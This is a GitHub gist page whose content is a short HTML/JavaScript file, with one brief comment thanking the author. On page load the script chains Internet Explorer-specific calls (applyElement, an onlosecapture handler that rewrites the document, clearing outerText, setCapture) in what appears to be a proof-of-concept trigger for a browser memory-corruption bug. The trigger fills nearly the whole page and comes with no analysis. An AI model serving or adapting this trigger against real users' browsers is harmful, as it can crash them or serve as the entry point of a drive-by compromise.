Skip to content

Instantly share code, notes, and snippets.

@wchen-r7
Created September 30, 2013 01:11
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save wchen-r7/6758172 to your computer and use it in GitHub Desktop.
Save wchen-r7/6758172 to your computer and use it in GitHub Desktop.
<html>
<script>
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
@nanotechz9l
Copy link

Nice. Glad you found it. Sorry I wasn't able to deliver.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment